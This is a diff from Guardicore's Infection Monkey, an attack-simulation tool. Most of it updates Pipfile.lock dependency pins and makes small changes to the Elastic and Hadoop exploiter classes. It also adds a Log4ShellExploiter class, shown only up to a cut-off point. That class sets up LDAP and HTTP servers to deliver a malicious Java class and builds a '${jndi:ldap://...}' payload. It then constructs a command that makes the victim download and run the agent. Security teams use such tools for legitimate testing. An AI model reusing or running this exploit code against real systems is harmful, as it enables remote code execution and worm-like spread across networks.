"sha256:b11331510cfd08ec4416f37dc8f072541d7b7240ba924c71288f7218aad36bdf",
|
||||
"sha256:b4240991748ae0f57a0120b8d905b2d9f835fee02968fc11faec929ef6915ee6",
|
||||
"sha256:b7b059517d84c57f25c6fd3b2e03a1b2945df2e585b96109bcd11e56f6c9e610",
|
||||
"sha256:b975ce778ea2c65f399ab889a661e118bb68b85db47d93e0442eb1ba1f554794",
|
||||
"sha256:c87f62de9e167031ad4179efb1fda4012bb6f7363472a61254e4426bda6bcb64",
|
||||
"sha256:ccd301d2e71d243b0fad8c4642116c538d7d405d35b6026cf4dcee463a667a2e",
|
||||
"sha256:dce2bfd0f285c3fcff89e4239c55f5fbe664ff435ee45abfc154aac0f222ab14",
|
||||
"sha256:dfb8bcd45e504e1c26f0bfc404f3edd08f8c8057dfe04fbf6159adc8694ff97a",
|
||||
"sha256:e1900d7f16a03b869be3572e7664757c14316329a4d79ecee5a0083fad8c81b0",
|
||||
"sha256:e2ddfbcb2c4c7cb8f79db49e284280be468699c701b92d30fd1e46a786b39f5b",
|
||||
"sha256:eb4eea028a7ad28458abf8b98ae14af2fd9baeb327a0adb6af05a488e4d9e9a1",
|
||||
"sha256:f3a29bb51e5f9b46004b5be16bcbe4e1b2d2754cbe201e1a0b142c307bdf4c73",
|
||||
"sha256:f553abcb3572242fed87e308a6b91a9bc5a74b801b5d093969391b0500be718b"
|
||||
],
|
||||
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
|
||||
"version": "==3.11.0"
|
||||
"version": "==3.13.0"
|
||||
},
|
||||
"pyinstaller": {
|
||||
"git": "git://github.com/guardicore/pyinstaller",
|
||||
"ref": "7c050ea0d6ca1e453045632ec57cf1afe79e15c5"
|
||||
"ref": "913259a5cd2baece06b0eed3618eb75b1bc7fad6"
|
||||
},
|
||||
"pyinstaller-hooks-contrib": {
|
||||
"hashes": [
|
||||
|
@ -758,27 +843,19 @@
|
|||
},
|
||||
"pynacl": {
|
||||
"hashes": [
|
||||
"sha256:06cbb4d9b2c4bd3c8dc0d267416aaed79906e7b33f114ddbf0911969794b1cc4",
|
||||
"sha256:11335f09060af52c97137d4ac54285bcb7df0cef29014a1a4efe64ac065434c4",
|
||||
"sha256:2fe0fc5a2480361dcaf4e6e7cea00e078fcda07ba45f811b167e3f99e8cff574",
|
||||
"sha256:30f9b96db44e09b3304f9ea95079b1b7316b2b4f3744fe3aaecccd95d547063d",
|
||||
"sha256:4e10569f8cbed81cb7526ae137049759d2a8d57726d52c1a000a3ce366779634",
|
||||
"sha256:511d269ee845037b95c9781aa702f90ccc36036f95d0f31373a6a79bd8242e25",
|
||||
"sha256:537a7ccbea22905a0ab36ea58577b39d1fa9b1884869d173b5cf111f006f689f",
|
||||
"sha256:54e9a2c849c742006516ad56a88f5c74bf2ce92c9f67435187c3c5953b346505",
|
||||
"sha256:757250ddb3bff1eecd7e41e65f7f833a8405fede0194319f87899690624f2122",
|
||||
"sha256:7757ae33dae81c300487591c68790dfb5145c7d03324000433d9a2c141f82af7",
|
||||
"sha256:7c6092102219f59ff29788860ccb021e80fffd953920c4a8653889c029b2d420",
|
||||
"sha256:8122ba5f2a2169ca5da936b2e5a511740ffb73979381b4229d9188f6dcb22f1f",
|
||||
"sha256:9c4a7ea4fb81536c1b1f5cc44d54a296f96ae78c1ebd2311bd0b60be45a48d96",
|
||||
"sha256:c914f78da4953b33d4685e3cdc7ce63401247a21425c16a39760e282075ac4a6",
|
||||
"sha256:cd401ccbc2a249a47a3a1724c2918fcd04be1f7b54eb2a5a71ff915db0ac51c6",
|
||||
"sha256:d452a6746f0a7e11121e64625109bc4468fc3100452817001dbe018bb8b08514",
|
||||
"sha256:ea6841bc3a76fa4942ce00f3bda7d436fda21e2d91602b9e21b7ca9ecab8f3ff",
|
||||
"sha256:f8851ab9041756003119368c1e6cd0b9c631f46d686b3904b18c0139f4419f80"
|
||||
"sha256:06b8f6fa7f5de8d5d2f7573fe8c863c051225a27b61e6860fd047b1775807858",
|
||||
"sha256:0c84947a22519e013607c9be43706dd42513f9e6ae5d39d3613ca1e142fba44d",
|
||||
"sha256:20f42270d27e1b6a29f54032090b972d97f0a1b0948cc52392041ef7831fee93",
|
||||
"sha256:401002a4aaa07c9414132aaed7f6836ff98f59277a234704ff66878c2ee4a0d1",
|
||||
"sha256:52cb72a79269189d4e0dc537556f4740f7f0a9ec41c1322598799b0bdad4ef92",
|
||||
"sha256:61f642bf2378713e2c2e1de73444a3778e5f0a38be6fee0fe532fe30060282ff",
|
||||
"sha256:8ac7448f09ab85811607bdd21ec2464495ac8b7c66d146bf545b0f08fb9220ba",
|
||||
"sha256:a36d4a9dda1f19ce6e03c9a784a2921a4b726b02e1c736600ca9c22029474394",
|
||||
"sha256:a422368fc821589c228f4c49438a368831cb5bbc0eab5ebe1d7fac9dded6567b",
|
||||
"sha256:e46dae94e34b085175f8abb3b0aaa7da40767865ac82c928eeb9e57e1ea8a543"
|
||||
],
|
||||
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
|
||||
"version": "==1.4.0"
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==1.5.0"
|
||||
},
|
||||
"pyopenssl": {
|
||||
"hashes": [
|
||||
|
@ -788,13 +865,21 @@
|
|||
"index": "pypi",
|
||||
"version": "==19.0.0"
|
||||
},
|
||||
"pyparsing": {
|
||||
"hashes": [
|
||||
"sha256:18ee9022775d270c55187733956460083db60b37d0d0fb357445f3094eed3eea",
|
||||
"sha256:a6c06a88f252e6c322f65faf8f418b16213b51bdfaece0524c1c1bc30c63c484"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==3.0.7"
|
||||
},
|
||||
"pypsrp": {
|
||||
"hashes": [
|
||||
"sha256:12726e9700dc38a9260b9e24795aa81f106d2849eefca86fca9293beddb83418",
|
||||
"sha256:21e96fd30f795fb59c7102f795e3706e188cae45df79d5782357b2fd273e4e6c"
|
||||
"sha256:c0912096858ff8c53a3cf22cc46c3ce20e6ec5e2deade342088e87a81dbadac8",
|
||||
"sha256:d7144ad7c798a4dcded20a71c712d63eb4bfb32debe62f3a98f01481384a5558"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==0.6.1"
|
||||
"version": "==0.7.0"
|
||||
},
|
||||
"pypykatz": {
|
||||
"hashes": [
|
||||
|
@ -855,27 +940,29 @@
|
|||
},
|
||||
"pywin32": {
|
||||
"hashes": [
|
||||
"sha256:2393c1a40dc4497fd6161b76801b8acd727c5610167762b7c3e9fd058ef4a6ab",
|
||||
"sha256:251b7a9367355ccd1a4cd69cd8dd24bd57b29ad83edb2957cfa30f7ed9941efa",
|
||||
"sha256:48dd4e348f1ee9538dd4440bf201ea8c110ea6d9f3a5010d79452e9fa80480d9",
|
||||
"sha256:496df89f10c054c9285cc99f9d509e243f4e14ec8dfc6d78c9f0bf147a893ab1",
|
||||
"sha256:543552e66936378bd2d673c5a0a3d9903dba0b0a87235ef0c584f058ceef5872",
|
||||
"sha256:79cf7e6ddaaf1cd47a9e50cc74b5d770801a9db6594464137b1b86aa91edafcc",
|
||||
"sha256:af5aea18167a31efcacc9f98a2ca932c6b6a6d91ebe31f007509e293dea12580",
|
||||
"sha256:d3761ab4e8c5c2dbc156e2c9ccf38dd51f936dc77e58deb940ffbc4b82a30528",
|
||||
"sha256:e372e477d938a49266136bff78279ed14445e00718b6c75543334351bf535259",
|
||||
"sha256:fe21c2fb332d03dac29de070f191bdbf14095167f8f2165fdc57db59b1ecc006"
|
||||
"sha256:2a09632916b6bb231ba49983fe989f2f625cea237219530e81a69239cd0c4559",
|
||||
"sha256:51cb52c5ec6709f96c3f26e7795b0bf169ee0d8395b2c1d7eb2c029a5008ed51",
|
||||
"sha256:5f9ec054f5a46a0f4dfd72af2ce1372f3d5a6e4052af20b858aa7df2df7d355b",
|
||||
"sha256:6fed4af057039f309263fd3285d7b8042d41507343cd5fa781d98fcc5b90e8bb",
|
||||
"sha256:793bf74fce164bcffd9d57bb13c2c15d56e43c9542a7b9687b4fccf8f8a41aba",
|
||||
"sha256:79cbb862c11b9af19bcb682891c1b91942ec2ff7de8151e2aea2e175899cda34",
|
||||
"sha256:7d3271c98434617a11921c5ccf74615794d97b079e22ed7773790822735cc352",
|
||||
"sha256:aad484d52ec58008ca36bd4ad14a71d7dd0a99db1a4ca71072213f63bf49c7d9",
|
||||
"sha256:b1675d82bcf6dbc96363fca747bac8bff6f6e4a447a4287ac652aa4b9adc796e",
|
||||
"sha256:c268040769b48a13367221fced6d4232ed52f044ffafeda247bd9d2c6bdc29ca",
|
||||
"sha256:d9b5d87ca944eb3aa4cd45516203ead4b37ab06b8b777c54aedc35975dec0dee",
|
||||
"sha256:fcf44032f5b14fcda86028cdf49b6ebdaea091230eb0a757282aa656e4732439"
|
||||
],
|
||||
"markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'",
|
||||
"version": "==302"
|
||||
"version": "==303"
|
||||
},
|
||||
"requests": {
|
||||
"hashes": [
|
||||
"sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24",
|
||||
"sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7"
|
||||
"sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61",
|
||||
"sha256:f22fa1e554c9ddfd16e6e41ac79759e17be9e492b3587efa038054674760e72d"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==2.26.0"
|
||||
"version": "==2.27.1"
|
||||
},
|
||||
"s3transfer": {
|
||||
"hashes": [
|
||||
|
@ -889,6 +976,13 @@
|
|||
"git": "git://github.com/guardicode/ScoutSuite",
|
||||
"ref": "eac33ac5b0a84e4a2e29682cf3568271eb595003"
|
||||
},
|
||||
"service-identity": {
|
||||
"hashes": [
|
||||
"sha256:6e6c6086ca271dc11b033d17c3a8bea9f24ebff920c587da090afc9519419d34",
|
||||
"sha256:f0b0caac3d40627c3c04d7a51b6e06721857a0e10a8775f2d1d7e72901b3a7db"
|
||||
],
|
||||
"version": "==21.1.0"
|
||||
},
|
||||
"six": {
|
||||
"hashes": [
|
||||
"sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926",
|
||||
|
@ -905,11 +999,11 @@
|
|||
},
|
||||
"tempora": {
|
||||
"hashes": [
|
||||
"sha256:746ed6fd3529883d81a811fff41b9910ea57067fa84641aa6ecbefffb8322f6d",
|
||||
"sha256:fd6cafd66b01390d53a760349cf0b3123844ec6ae3d1043d7190473ea9459138"
|
||||
"sha256:8d743059a4ea496d925f35480c6d206a7160cacebcd6a31e147fb495dcb732af",
|
||||
"sha256:aa21dd1956e29559ecb2f2f2e14fcdb950085222fbbf86e6c946b5e1a8c36b26"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==4.1.2"
|
||||
"markers": "python_version >= '3.7'",
|
||||
"version": "==5.0.0"
|
||||
},
|
||||
"tqdm": {
|
||||
"hashes": [
|
||||
|
@ -919,13 +1013,42 @@
|
|||
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'",
|
||||
"version": "==4.62.3"
|
||||
},
|
||||
"twisted": {
|
||||
"extras": [
|
||||
"tls"
|
||||
],
|
||||
"hashes": [
|
||||
"sha256:13c1d1d2421ae556d91e81e66cf0d4f4e4e1e4a36a0486933bee4305c6a4fb9b",
|
||||
"sha256:2cd652542463277378b0d349f47c62f20d9306e57d1247baabd6d1d38a109006"
|
||||
],
|
||||
"markers": "python_full_version >= '3.6.7'",
|
||||
"version": "==21.7.0"
|
||||
},
|
||||
"twisted-iocpsupport": {
|
||||
"hashes": [
|
||||
"sha256:306becd6e22ab6e8e4f36b6bdafd9c92e867c98a5ce517b27fdd27760ee7ae41",
|
||||
"sha256:3c61742cb0bc6c1ac117a7e5f422c129832f0c295af49e01d8a6066df8cfc04d",
|
||||
"sha256:72068b206ee809c9c596b57b5287259ea41ddb4774d86725b19f35bf56aa32a9",
|
||||
"sha256:7d972cfa8439bdcb35a7be78b7ef86d73b34b808c74be56dfa785c8a93b851bf",
|
||||
"sha256:81b3abe3527b367da0220482820cb12a16c661672b7bcfcde328902890d63323",
|
||||
"sha256:851b3735ca7e8102e661872390e3bce88f8901bece95c25a0c8bb9ecb8a23d32",
|
||||
"sha256:985c06a33f5c0dae92c71a036d1ea63872ee86a21dd9b01e1f287486f15524b4",
|
||||
"sha256:9dbb8823b49f06d4de52721b47de4d3b3026064ef4788ce62b1a21c57c3fff6f",
|
||||
"sha256:b435857b9efcbfc12f8c326ef0383f26416272260455bbca2cd8d8eca470c546",
|
||||
"sha256:b76b4eed9b27fd63ddb0877efdd2d15835fdcb6baa745cb85b66e5d016ac2878",
|
||||
"sha256:b9fed67cf0f951573f06d560ac2f10f2a4bbdc6697770113a2fc396ea2cb2565",
|
||||
"sha256:bf4133139d77fc706d8f572e6b7d82871d82ec7ef25d685c2351bdacfb701415"
|
||||
],
|
||||
"markers": "platform_system == 'Windows'",
|
||||
"version": "==1.0.2"
|
||||
},
|
||||
"typing-extensions": {
|
||||
"hashes": [
|
||||
"sha256:2cdf80e4e04866a9b3689a51869016d36db0814d84b8d8a568d22781d45d27ed",
|
||||
"sha256:829704698b22e13ec9eaf959122315eabb370b0884400e9818334d8b677023d9"
|
||||
"sha256:4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e",
|
||||
"sha256:7f001e5ac290a0c0401508864c7ec868be4e701886d5b573a9528ed3973d9d3b"
|
||||
],
|
||||
"index": "pypi",
|
||||
"version": "==4.0.0"
|
||||
"version": "==4.0.1"
|
||||
},
|
||||
"urllib3": {
|
||||
"hashes": [
|
||||
|
@ -952,11 +1075,11 @@
|
|||
},
|
||||
"winacl": {
|
||||
"hashes": [
|
||||
"sha256:57e5b4591b4be2b243d4b79882bd0fb6229d5930d062fdae941d5d8af6aa29ee",
|
||||
"sha256:aa652870757136e39ea85037d33b6b9bd09b415d907a5d64ca7b1a4f67202c59"
|
||||
"sha256:187b4394ef247806f50e1d8320bdb9e33ad1f759d9e61e2e391b97b9adf5f58a",
|
||||
"sha256:949a66b0f46015c8cf8d9c1bfdb3a5174e70c28ae1b096eb778bc2983ea7ce50"
|
||||
],
|
||||
"markers": "python_version >= '3.6'",
|
||||
"version": "==0.1.1"
|
||||
"version": "==0.1.2"
|
||||
},
|
||||
"winsspi": {
|
||||
"hashes": [
|
||||
|
@ -991,12 +1114,98 @@
|
|||
},
|
||||
"zipp": {
|
||||
"hashes": [
|
||||
"sha256:71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832",
|
||||
"sha256:9fe5ea21568a0a70e50f273397638d39b03353731e6cbbb3fd8502a33fec40bc"
|
||||
"sha256:9f50f446828eb9d45b267433fd3e9da8d801f614129124863f9c51ebceafb87d",
|
||||
"sha256:b47250dd24f92b7dd6a0a8fc5244da14608f3ca90a5efcd37a3b1642fac9a375"
|
||||
],
|
||||
"markers": "python_version < '3.10'",
|
||||
"version": "==3.6.0"
|
||||
"version": "==3.7.0"
|
||||
},
|
||||
"zope.interface": {
|
||||
"hashes": [
|
||||
"sha256:08f9636e99a9d5410181ba0729e0408d3d8748026ea938f3b970a0249daa8192",
|
||||
"sha256:0b465ae0962d49c68aa9733ba92a001b2a0933c317780435f00be7ecb959c702",
|
||||
"sha256:0cba8477e300d64a11a9789ed40ee8932b59f9ee05f85276dbb4b59acee5dd09",
|
||||
"sha256:0cee5187b60ed26d56eb2960136288ce91bcf61e2a9405660d271d1f122a69a4",
|
||||
"sha256:0ea1d73b7c9dcbc5080bb8aaffb776f1c68e807767069b9ccdd06f27a161914a",
|
||||
"sha256:0f91b5b948686659a8e28b728ff5e74b1be6bf40cb04704453617e5f1e945ef3",
|
||||
"sha256:15e7d1f7a6ee16572e21e3576d2012b2778cbacf75eb4b7400be37455f5ca8bf",
|
||||
"sha256:17776ecd3a1fdd2b2cd5373e5ef8b307162f581c693575ec62e7c5399d80794c",
|
||||
"sha256:194d0bcb1374ac3e1e023961610dc8f2c78a0f5f634d0c737691e215569e640d",
|
||||
"sha256:1c0e316c9add0db48a5b703833881351444398b04111188069a26a61cfb4df78",
|
||||
"sha256:205e40ccde0f37496904572035deea747390a8b7dc65146d30b96e2dd1359a83",
|
||||
"sha256:273f158fabc5ea33cbc936da0ab3d4ba80ede5351babc4f577d768e057651531",
|
||||
"sha256:2876246527c91e101184f63ccd1d716ec9c46519cc5f3d5375a3351c46467c46",
|
||||
"sha256:2c98384b254b37ce50eddd55db8d381a5c53b4c10ee66e1e7fe749824f894021",
|
||||
"sha256:2e5a26f16503be6c826abca904e45f1a44ff275fdb7e9d1b75c10671c26f8b94",
|
||||
"sha256:334701327f37c47fa628fc8b8d28c7d7730ce7daaf4bda1efb741679c2b087fc",
|
||||
"sha256:3748fac0d0f6a304e674955ab1365d515993b3a0a865e16a11ec9d86fb307f63",
|
||||
"sha256:3c02411a3b62668200910090a0dff17c0b25aaa36145082a5a6adf08fa281e54",
|
||||
"sha256:3dd4952748521205697bc2802e4afac5ed4b02909bb799ba1fe239f77fd4e117",
|
||||
"sha256:3f24df7124c323fceb53ff6168da70dbfbae1442b4f3da439cd441681f54fe25",
|
||||
"sha256:469e2407e0fe9880ac690a3666f03eb4c3c444411a5a5fddfdabc5d184a79f05",
|
||||
"sha256:4de4bc9b6d35c5af65b454d3e9bc98c50eb3960d5a3762c9438df57427134b8e",
|
||||
"sha256:5208ebd5152e040640518a77827bdfcc73773a15a33d6644015b763b9c9febc1",
|
||||
"sha256:52de7fc6c21b419078008f697fd4103dbc763288b1406b4562554bd47514c004",
|
||||
"sha256:5bb3489b4558e49ad2c5118137cfeaf59434f9737fa9c5deefc72d22c23822e2",
|
||||
"sha256:5dba5f530fec3f0988d83b78cc591b58c0b6eb8431a85edd1569a0539a8a5a0e",
|
||||
"sha256:5dd9ca406499444f4c8299f803d4a14edf7890ecc595c8b1c7115c2342cadc5f",
|
||||
"sha256:5f931a1c21dfa7a9c573ec1f50a31135ccce84e32507c54e1ea404894c5eb96f",
|
||||
"sha256:63b82bb63de7c821428d513607e84c6d97d58afd1fe2eb645030bdc185440120",
|
||||
"sha256:66c0061c91b3b9cf542131148ef7ecbecb2690d48d1612ec386de9d36766058f",
|
||||
"sha256:6f0c02cbb9691b7c91d5009108f975f8ffeab5dff8f26d62e21c493060eff2a1",
|
||||
"sha256:71aace0c42d53abe6fc7f726c5d3b60d90f3c5c055a447950ad6ea9cec2e37d9",
|
||||
"sha256:7d97a4306898b05404a0dcdc32d9709b7d8832c0c542b861d9a826301719794e",
|
||||
"sha256:7df1e1c05304f26faa49fa752a8c690126cf98b40b91d54e6e9cc3b7d6ffe8b7",
|
||||
"sha256:8270252effc60b9642b423189a2fe90eb6b59e87cbee54549db3f5562ff8d1b8",
|
||||
"sha256:867a5ad16892bf20e6c4ea2aab1971f45645ff3102ad29bd84c86027fa99997b",
|
||||
"sha256:877473e675fdcc113c138813a5dd440da0769a2d81f4d86614e5d62b69497155",
|
||||
"sha256:8892f89999ffd992208754851e5a052f6b5db70a1e3f7d54b17c5211e37a98c7",
|
||||
"sha256:9a9845c4c6bb56e508651f005c4aeb0404e518c6f000d5a1123ab077ab769f5c",
|
||||
"sha256:a1e6e96217a0f72e2b8629e271e1b280c6fa3fe6e59fa8f6701bec14e3354325",
|
||||
"sha256:a8156e6a7f5e2a0ff0c5b21d6bcb45145efece1909efcbbbf48c56f8da68221d",
|
||||
"sha256:a9506a7e80bcf6eacfff7f804c0ad5350c8c95b9010e4356a4b36f5322f09abb",
|
||||
"sha256:af310ec8335016b5e52cae60cda4a4f2a60a788cbb949a4fbea13d441aa5a09e",
|
||||
"sha256:b0297b1e05fd128d26cc2460c810d42e205d16d76799526dfa8c8ccd50e74959",
|
||||
"sha256:bf68f4b2b6683e52bec69273562df15af352e5ed25d1b6641e7efddc5951d1a7",
|
||||
"sha256:d0c1bc2fa9a7285719e5678584f6b92572a5b639d0e471bb8d4b650a1a910920",
|
||||
"sha256:d4d9d6c1a455d4babd320203b918ccc7fcbefe308615c521062bc2ba1aa4d26e",
|
||||
"sha256:db1fa631737dab9fa0b37f3979d8d2631e348c3b4e8325d6873c2541d0ae5a48",
|
||||
"sha256:dd93ea5c0c7f3e25335ab7d22a507b1dc43976e1345508f845efc573d3d779d8",
|
||||
"sha256:f44e517131a98f7a76696a7b21b164bcb85291cee106a23beccce454e1f433a4",
|
||||
"sha256:f7ee479e96f7ee350db1cf24afa5685a5899e2b34992fb99e1f7c1b0b758d263"
|
||||
],
|
||||
"markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'",
|
||||
"version": "==5.4.0"
|
||||
}
|
||||
},
|
||||
"develop": {}
|
||||
"develop": {
|
||||
"ldap3": {
|
||||
"hashes": [
|
||||
"sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6",
|
||||
"sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687",
|
||||
"sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70",
|
||||
"sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5",
|
||||
"sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"
|
||||
],
|
||||
"version": "==2.9.1"
|
||||
},
|
||||
"pyasn1": {
|
||||
"hashes": [
|
||||
"sha256:014c0e9976956a08139dc0712ae195324a75e142284d5f87f1a87ee1b068a359",
|
||||
"sha256:03840c999ba71680a131cfaee6fab142e1ed9bbd9c693e285cc6aca0d555e576",
|
||||
"sha256:0458773cfe65b153891ac249bcf1b5f8f320b7c2ce462151f8fa74de8934becf",
|
||||
"sha256:08c3c53b75eaa48d71cf8c710312316392ed40899cb34710d092e96745a358b7",
|
||||
"sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d",
|
||||
"sha256:5c9414dcfede6e441f7e8f81b43b34e834731003427e5b09e4e00e3172a10f00",
|
||||
"sha256:6e7545f1a61025a4e58bb336952c5061697da694db1cae97b116e9c46abcf7c8",
|
||||
"sha256:78fa6da68ed2727915c4767bb386ab32cdba863caa7dbe473eaae45f9959da86",
|
||||
"sha256:7ab8a544af125fb704feadb008c99a88805126fb525280b2270bb25cc1d78a12",
|
||||
"sha256:99fcc3c8d804d1bc6d9a099921e39d827026409a58f2a720dcdb89374ea0c776",
|
||||
"sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba",
|
||||
"sha256:e89bf84b5437b532b0803ba5c9a5e054d21fec423a89952a74f87fa2c9b7bce2",
|
||||
"sha256:fec3e9d8e36808a28efb59b489e4528c10ad0f480e57dcc32b4de5c9d8c9fdf3"
|
||||
],
|
||||
"version": "==0.4.8"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -58,7 +58,7 @@ class ElasticGroovyExploiter(WebRCE):
|
|||
def get_open_service_ports(self, port_list, names):
|
||||
# We must append elastic port we get from elastic fingerprint module because It's not
|
||||
# marked as 'http' service
|
||||
valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
|
||||
valid_ports = WebRCE.get_open_service_ports(self.host, port_list, names)
|
||||
if ES_SERVICE in self.host.services:
|
||||
valid_ports.append([ES_PORT, False])
|
||||
return valid_ports
|
||||
|
|
|
@ -27,7 +27,7 @@ from infection_monkey.utils.commands import build_monkey_commandline
|
|||
class HadoopExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ["linux", "windows"]
|
||||
_EXPLOITED_SERVICE = "Hadoop"
|
||||
HADOOP_PORTS = [["8088", False]]
|
||||
HADOOP_PORTS = [("8088", False)]
|
||||
# How long we have our http server open for downloads in seconds
|
||||
DOWNLOAD_TIMEOUT = 60
|
||||
# Random string's length that's used for creating unique app name
|
||||
|
@ -38,7 +38,7 @@ class HadoopExploiter(WebRCE):
|
|||
|
||||
def _exploit_host(self):
|
||||
# Try to get exploitable url
|
||||
urls = self.build_potential_urls(self.HADOOP_PORTS)
|
||||
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
|
||||
self.add_vulnerable_urls(urls, True)
|
||||
if not self.vulnerable_urls:
|
||||
return False
|
||||
|
|
|
@ -0,0 +1,196 @@
|
|||
import logging
|
||||
import time
|
||||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit.log4shell_utils import (
|
||||
LINUX_EXPLOIT_TEMPLATE_PATH,
|
||||
WINDOWS_EXPLOIT_TEMPLATE_PATH,
|
||||
ExploitClassHTTPServer,
|
||||
LDAPExploitServer,
|
||||
build_exploit_bytecode,
|
||||
get_log4shell_service_exploiters,
|
||||
)
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT
|
||||
from infection_monkey.model import (
|
||||
DROPPER_ARG,
|
||||
LOG4SHELL_LINUX_COMMAND,
|
||||
LOG4SHELL_WINDOWS_COMMAND,
|
||||
VictimHost,
|
||||
)
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
from infection_monkey.utils.monkey_dir import get_monkey_dir_path
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Log4ShellExploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ["linux", "windows"]
|
||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||
_EXPLOITED_SERVICE = "Log4j"
|
||||
SERVER_SHUTDOWN_TIMEOUT = 15
|
||||
REQUEST_TO_VICTIM_TIMEOUT = (
|
||||
5 # Max time agent will wait for the response from victim in SECONDS
|
||||
)
|
||||
|
||||
def __init__(self, host: VictimHost):
|
||||
super().__init__(host)
|
||||
|
||||
self._ldap_port = get_free_tcp_port()
|
||||
|
||||
self._class_http_server_ip = get_interface_to_target(self.host.ip_addr)
|
||||
self._class_http_server_port = get_free_tcp_port()
|
||||
|
||||
self._ldap_server = None
|
||||
self._exploit_class_http_server = None
|
||||
self._agent_http_server_thread = None
|
||||
self._open_ports = [
|
||||
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
|
||||
]
|
||||
|
||||
def _exploit_host(self):
|
||||
if not self._open_ports:
|
||||
logger.info("Could not find any open web ports to exploit")
|
||||
return False
|
||||
|
||||
self._start_servers()
|
||||
try:
|
||||
return self.exploit(None, None)
|
||||
finally:
|
||||
self._stop_servers()
|
||||
|
||||
def _start_servers(self):
|
||||
# Start http server, to serve agent to victims
|
||||
paths = self.get_monkey_paths()
|
||||
agent_http_path = self._start_agent_http_server(paths)
|
||||
|
||||
# Build agent execution command
|
||||
command = self._build_command(paths["dest_path"], agent_http_path)
|
||||
|
||||
# Start http server to serve malicious java class to victim
|
||||
self._start_class_http_server(command)
|
||||
|
||||
# Start ldap server to redirect ldap query to java class server
|
||||
self._start_ldap_server()
|
||||
|
||||
def _start_agent_http_server(self, agent_paths: dict) -> str:
|
||||
# Create server for http download and wait for it's startup.
|
||||
http_path, http_thread = HTTPTools.try_create_locked_transfer(
|
||||
self.host, agent_paths["src_path"]
|
||||
)
|
||||
self._agent_http_server_thread = http_thread
|
||||
return http_path
|
||||
|
||||
def _start_class_http_server(self, command: str):
|
||||
java_class = self._build_java_class(command)
|
||||
|
||||
self._exploit_class_http_server = ExploitClassHTTPServer(
|
||||
self._class_http_server_ip, self._class_http_server_port, java_class
|
||||
)
|
||||
self._exploit_class_http_server.run()
|
||||
|
||||
def _start_ldap_server(self):
|
||||
self._ldap_server = LDAPExploitServer(
|
||||
ldap_server_port=self._ldap_port,
|
||||
http_server_ip=self._class_http_server_ip,
|
||||
http_server_port=self._class_http_server_port,
|
||||
storage_dir=get_monkey_dir_path(),
|
||||
)
|
||||
self._ldap_server.run()
|
||||
|
||||
def _stop_servers(self):
|
||||
logger.debug("Stopping all LDAP and HTTP Servers")
|
||||
self._agent_http_server_thread.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
|
||||
|
||||
self._exploit_class_http_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
|
||||
|
||||
self._ldap_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT)
|
||||
|
||||
def _build_ldap_payload(self) -> str:
|
||||
interface_ip = get_interface_to_target(self.host.ip_addr)
|
||||
return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}"
|
||||
|
||||
def _build_command(self, path, http_path) -> str:
|
||||
# Build command to execute
|
||||
monkey_cmd = build_monkey_commandline(
|
||||
self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path
|
||||
)
|
||||
if "linux" in self.host.os["type"]:
|
||||
base_command = LOG4SHELL_LINUX_COMMAND
|
||||
else:
|
||||
base_command = LOG4SHELL_WINDOWS_COMMAND
|
||||
|
||||
return base_command % {
|
||||
"monkey_path": path,
|
||||
"http_path": http_path,
|
||||
"monkey_type": DROPPER_ARG,
|
||||
"parameters": monkey_cmd,
|
||||
}
|
||||
|
||||
def _build_java_class(self, exploit_command: str) -> bytes:
|
||||
if "linux" in self.host.os["type"]:
|
||||
